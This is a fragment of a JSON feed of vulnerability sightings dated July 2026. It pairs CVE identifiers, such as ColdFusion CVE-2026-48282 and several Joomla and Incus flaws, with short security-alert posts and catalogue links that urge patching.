"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6fvc2o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:54:57.910699Z"}, {"uuid": "31d84fd0-281a-47f6-8407-62845fed5197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6qn22o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:54:58.314768Z"}, {"uuid": "9bee8d3d-5971-4a38-9ce1-a83dd6ff6434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6rmc2o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:54:58.759322Z"}, {"uuid": "a5bf22bd-1461-4dd7-a233-36abf1963ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6slk2o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:54:59.204201Z"}, {"uuid": "948de53c-0e13-4e09-b3fa-5a949a824cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6tks2o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:54:59.649356Z"}, {"uuid": "d3f88a42-1868-49db-9ce8-30ba1f70c178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6uk22o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:55:00.118512Z"}, {"uuid": "29fad4e3-1a14-4c94-9fe8-7b6b7f5b41b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6uk32o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:55:00.572725Z"}, {"uuid": "4644b147-2e27-4bf5-991f-4591cf5756d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq2qyb6vjd2o", "content": "3/ \ud83d\udea8 Max-severity Adobe ColdFusion flaw (CVE-2026-48282) is being actively exploited, attackers struck within 2 hours of public disclosure. Patch immediately if you run ColdFusion. (via BleepingComputer) (4/7)", "creation_timestamp": "2026-07-07T13:55:01.016254Z"}, {"uuid": "40f4d471-5037-47eb-9bfc-f4d6e0bf4d27", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e1a4b5b4-3b51-406d-9540-2240437e87d1", "content": "", "creation_timestamp": "2026-07-07T18:00:24.575983Z"}, {"uuid": "1158465d-8fb1-4df6-84a4-962612ab8117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mq2u2plclk2j", "content": "Attackers exploit critical Adobe ColdFusion vulnerability (CVE-2026-48282)\n\nwww.helpnetsecurity.com/2026/07/07/a...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "creation_timestamp": "2026-07-07T14:50:05.797464Z"}, {"uuid": "654a793c-a84d-4141-a492-0a5e043da9c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48588", "type": "seen", "source": "https://bsky.app/profile/selfhost.directory/post/3mq2uqb2zhm2c", "content": "\ud83d\ude80 New #release \u00b7 Saleor 3.23.17\n\nWhat's Changed\n\u2022 Upgraded django to v5.2.16 by @NyanKiyoshi in #19438\nFixes:\n\u2022 CVE-2026-48588: Potential exposure of private data via cached Set-C\u2026\n\nCheck and #self-host it \u2192 selfhost.directory/project/saleor#update-3081251\n\n#selfhost #selfhosted #homelab #opensource", "creation_timestamp": "2026-07-07T15:02:03.827675Z"}, {"uuid": "c3cde575-cd2e-4beb-bd63-29d1ee2ca344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48588", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mq2uvi6mb22w", "content": "Django CVE-2026-48588, CVE-2026-53877, and CVE-2026-53878", "creation_timestamp": "2026-07-07T15:04:59.108278Z"}, {"uuid": "4fe64e82-4f5f-4362-9e47-d7e35299aefa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48588", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq2zl5oqzw2i", "content": "CVE-2026-48588 - Potential exposure of private data via cached Set-Cookie response\nCVE ID : CVE-2026-48588\n \n Published : July 7, 2026, 3:16 p.m. | 31\u00a0minutes ago\n \n Description : An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16.\n`UpdateCacheMiddleware`...", "creation_timestamp": "2026-07-07T16:28:41.366063Z"}, {"uuid": "e26df5d6-6879-4d03-8987-dbf9be2be24f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48307", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:18.998926Z"}, {"uuid": "4ceff454-3e7b-4e04-99c6-811a63bdc4cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116879741092959050", "content": "\ud83d\udcf0 Patch Now: Critical Adobe ColdFusion RCE Flaw (CVE-2026-48282) Under Active Exploitation\n\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-adobe-coldfusion-flaw-actively-exploited-in-the-wild/?utm_source=mastodon&utm_mediu\u2026", "creation_timestamp": "2026-07-07T16:55:16.172072Z"}, {"uuid": "778c485e-7b0c-4680-bc88-8d15e041a0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mq333dmrjj2p", "content": "\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-07T16:55:38.885695Z"}, {"uuid": "e1cc215b-2e26-4789-b397-be310df855a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48614", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mq33v36shh22", "content": "CVE-2026-48614 - Critical arbitrary file write as root in Plesk XML API. CVSS 9.9. No patch available. Apply workarounds immediately. #CVE #Plesk #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48614/", "creation_timestamp": "2026-07-07T17:10:01.633714Z"}, {"uuid": "7f5ac3f1-341e-4406-8d3a-08c1f15216d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/csirts.bsky.social/post/3mq34zpjdrg2d", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-48908: JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-48908", "creation_timestamp": "2026-07-07T17:30:30.935459Z"}, {"uuid": "f040accd-b5ae-4ed3-8686-b23f65fc3cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116879890133195498", "content": "CISA has updated the KEV catalogue.\n-  CVE-2026-56290: Joomlack Page Builder Improper Access Control Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-56290\n-  CVE-2026-55255: Langflow Authorization Bypass Through User-Controlled Key Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-55255\n-  CVE-2026-48908: JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-48908\nSeveral industrial vulnerabilities: https://www.cisa.gov/ #infosec #vulnerability #CISA", "creation_timestamp": "2026-07-07T17:33:09.923394Z"}, {"uuid": "f7aea7de-0bc3-48d6-bf73-43718e71ab80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq35a3eonf2i", "content": "CVE-2026-48908 - sp page builder [known exploited]\nThe SP Page Builder for Joomla allows attackers to upload any type of file, including malicious PHP code, without needing a login. This could allow hackers to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#joomshaper #CVE #infosec", "creation_timestamp": "2026-07-07T17:34:05.007598Z"}, {"uuid": "8f94f8f5-af4f-400a-8bc8-d9a7fe17472c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mq36dfyafx2u", "content": "\ud83d\uded1 CVE-2026-48908\nJoomShaper SP Page Builder\nCVSS 10.0 / EPSS 1% / KEV: No\nTL;DR: A vulnerability in SP Page Builder for Joomla allows unauthenticated users to u\u2026\nhttps://cvesentinel.com/report/CVE-2026-48908?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-07T17:53:59.724905Z"}, {"uuid": "f7381928-7dcc-4bab-ad14-b3f1c55a40d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mq36paep5k2k", "content": "Adobe ColdFusion CVE-2026-48282, a 10/10 path traversal flaw, is being exploited in the wild and can lead to arbitrary code execution. Adobe issued emergency fixes for 2025 and 2023 releases. #AdobeColdFusion #CVE202648282 #Canada", "creation_timestamp": "2026-07-07T18:00:26.926270Z"}, {"uuid": "f957d06a-26a7-471c-bec2-a0f734e7fe43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mq36shckli2n", "content": "CVSS 9.9. Authenticated remote command injection. Public exploit available.\n\nCVE-2026-34038.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#CyberSecurity #Security", "creation_timestamp": "2026-07-07T18:02:15.117637Z"}, {"uuid": "4d18488c-d9d8-4481-a240-65dadee65405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48062", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116880021750277483", "content": "\u26a0\ufe0f CVE-2026-48062: CodeIgniter4 RCE RiskCodeIgniter4 has a critical ext_in upload validation bypass with a CVSS 9.8 severity score.\nUnder unsafe upload configurations, a malicious file may bypass extension checks and potentially lead to remote code execution.\nFOFA reports 14,862 matching CodeIgniter results over the past year.\nRisk conditions:\n\u2022 User-controlled uploads\u2022 ext_in used for validation\u2022 Original filenames preserved\u2022 Uploads stored in a web-accessible path\u2022 Script execution allowed in that directory\nPatch: upgrade to CodeIgniter4 4.7.3+\nFOFA Query: app=\"CodeIgniter\"\nFOFA Link: https://en.fofa.info/result?qbase64=YXBwPSJDb2RlSWduaXRlciI=\nSearch results are not confirmed vulnerable hosts. Validate before taking action.", "creation_timestamp": "2026-07-07T18:06:56.031469Z"}, {"uuid": "0588473b-0e3b-48c1-afdb-8bbcc512a006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6935164", "content": "2026-07-07: [CVE-2026-48908] JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type VulnerabilityJoomShaper SP Page Builder contains an unrestricted upload of file with dangerous type vulnerability that allows unauthenticated users to upload arbitrary files, ultimately resulting in the upload and execution of PHP code.\ncisakev", "creation_timestamp": "2026-07-07T18:27:13.728075Z"}, {"uuid": "6ac735ae-080a-454b-8362-76a271c05c73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mq3cvgg2cf2w", "content": "\ud83d\uded1 CVE-2026-48908\nJoomShaper SP Page Builder\nCVSS 10.0 / EPSS 1% / KEV \u2705\nTL;DR: A vulnerability in SP Page Builder for Joomla allows unauthenticated users to upl\u2026\nhttps://cvesentinel.com/report/CVE-2026-48908?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-07T19:15:29.699310Z"}, {"uuid": "77a523cf-eeab-4af4-999f-d3583a308fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mq3cvihfgc24", "content": "\ud83d\uded1 CVE-2026-48282\nAdobe ColdFusion\nCVSS 10.0 / EPSS 1% / KEV \u2705\nTL;DR: ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a\u2026\nhttps://cvesentinel.com/report/CVE-2026-48282?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-07T19:15:32.129846Z"}, {"uuid": "85d4c0e9-3870-49a0-bb53-fc2092527ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mq3dj2hh3t24", "content": "\ud83d\uded1 CVE-2026-48282\nAdobe ColdFusion\nCVSS 10.0 / EPSS 1% / KEV: No\nTL;DR: ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of\u2026\nhttps://cvesentinel.com/report/CVE-2026-48282?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-07-07T19:26:28.102815Z"}, {"uuid": "35e44a59-3d6b-4938-96be-38fa57fe0ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/csirts.bsky.social/post/3mq3gflyqy22s", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-48282: Adobe ColdFusion Path Traversal Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-48282", "creation_timestamp": "2026-07-07T20:18:13.709986Z"}, {"uuid": "6969f083-b822-43f8-9bed-566bc3f903fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mq3ezchncs2a", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild\n\nAttackers are exploiting the critical Adobe ColdFusion flaw CVE-2026-48282, which allows remote code execution on unpatched servers. Attackers have started exploiting CVE-2026-48282, a maximum-severity vulnerability i\u2026\n#hackernews #news", "creation_timestamp": "2026-07-07T19:53:27.707079Z"}, {"uuid": "3b7b6886-350a-4e1e-866f-70b6cdb80c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48953", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mq3f3s3qnt2c", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48953](https://developer.joomla.org/security-centre/1061-20260707-core-xss-in-the-gener...\nhttps://developer.joomla.org/security-centre/1061-20260707-core-xss-in-the-generic-image-output-layout.html #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-07-07T19:54:50.673516Z"}, {"uuid": "131b2b67-7951-4d4a-9147-399bd4f87b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48952", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mq3f5tqvlp26", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48952](https://developer.joomla.org/security-centre/1060-20260706-core-xss-in-com-insta...\nhttps://developer.joomla.org/security-centre/1060-20260706-core-xss-in-com-installer.html #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-07-07T19:55:59.385482Z"}, {"uuid": "c0054249-834f-4b5b-ba6e-0ed076629536", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b8866b71-dc19-4b14-9520-3e35140667fa", "content": "", "creation_timestamp": "2026-07-07T20:00:02.626357Z"}, {"uuid": "444de03c-6680-4f44-96ec-9103c92d73f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mq3gaxpvzl2v", "content": "\ud83d\udd34 EXPLOITED\n\nAdobe ColdFusion flaw CVE-2026-48282 (max severity) is now exploited in the wild, days after the June 30 patch.\n\nOne request can plant a webshell where a remote dev feature is left on and open.\n\nFix: 2025 Update 10 or 2023 Update 21.", "creation_timestamp": "2026-07-07T20:15:38.774234Z"}, {"uuid": "2d79f86e-99ce-4a1e-bb40-aa00dfe67e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mq3h4lljal2v", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\nCISA has added three new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2026-48908 JoomShaper SP Page Builder\u2026\n\n\ud83d\udd17 https://hnow.live/a/8f7a6e0c", "creation_timestamp": "2026-07-07T20:31:04.867326Z"}, {"uuid": "298855b5-5697-4976-bc67-40d3c55abe46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48947", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3hi2txei2i", "content": "CVE-2026-48947 - Joomla! Core - [20260701] - Incorrect Access Control in com_media webservice endpoints\nCVE ID : CVE-2026-48947\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows privileged users to overwrite media files wi...", "creation_timestamp": "2026-07-07T20:37:29.952157Z"}, {"uuid": "760c8190-0edd-4bb2-b2f3-5d5d2b121bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48949", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3hlghol72x", "content": "CVE-2026-48949 - Joomla! Core - [20260703] - XSS in MFA method management\nCVE ID : CVE-2026-48949\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Lack of validation leads to an XSS vulnerability in the MFA management views.\n \n Severity: 5.9 | MEDIUM\n \n...", "creation_timestamp": "2026-07-07T20:39:22.909194Z"}, {"uuid": "38730c49-a9a0-4247-8e07-0f83c2645028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48954", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3hozajsz2w", "content": "CVE-2026-48954 - Joomla! Core - [20260708] - XSS through language overrides\nCVE ID : CVE-2026-48954\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Improper validation leads to a generic XSS vector in the language override feature.\n \n Severity: 5.9 | M...", "creation_timestamp": "2026-07-07T20:41:23.243620Z"}, {"uuid": "c181e261-5786-4fa0-8020-bf8dca881eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48752", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3htt243n2d", "content": "CVE-2026-48752 - lxc\nIncus, a container management software, can be tricked into allowing malicious images to read and write files on the host system. This could potentially allow an attacker to execute malicious\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:44:04.488058Z"}, {"uuid": "ca320f3f-f284-42c8-9551-194d88e7d3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48750", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3htunogl2b", "content": "CVE-2026-48750 - lxc\nA vulnerability in Incus allows attackers to write files to arbitrary locations on the host system by creating a specially crafted image. This can potentially lead to unauthorized command\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:44:05.972751Z"}, {"uuid": "cb8f9bef-0d49-45b8-a94a-c42c990a549f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3hxfqm532z", "content": "CVE-2026-48769 - lxc\nA malicious image server can write files to any location on the Incus server, potentially allowing an attacker to execute commands as root. This is due to a weakness in how Incus handles\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:46:05.231883Z"}, {"uuid": "bfec68ea-a887-40e6-8090-b4e5157f7a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48753", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3hxgxr2u24", "content": "CVE-2026-48753 - lxc\nA vulnerability in Incus's S3 protocol upload endpoint allows attackers to create arbitrary files on the host, potentially leading to unauthorized command execution. This affects Incus users\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:46:06.232807Z"}, {"uuid": "1cbedbd7-c1df-47f9-a4f0-9c28972174bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6935958", "content": "2026-07-07: [CVE-2026-48282] Adobe ColdFusion Path Traversal VulnerabilityAdobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user.\ncisakev", "creation_timestamp": "2026-07-07T20:46:44.407789Z"}, {"uuid": "be45442b-6493-45a3-adb4-e38a6136ab27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3i2y5ikn2f", "content": "CVE-2026-48755 - lxc\nA vulnerability in Incus's backup compression feature allows attackers to write arbitrary files on the host, potentially leading to unauthorized access. This issue affects Incus's backup\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:48:04.654382Z"}, {"uuid": "33511b94-bc3f-41c1-94d1-e3b43994fd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48749", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3i2ziva52f", "content": "CVE-2026-48749 - lxc\nA malicious image can read and write any file on the host, potentially allowing an attacker to execute any command. This is a serious security risk, and users should be cautious when\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:48:06.203892Z"}, {"uuid": "c647f74f-9637-45f2-93af-d4b82d656ea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 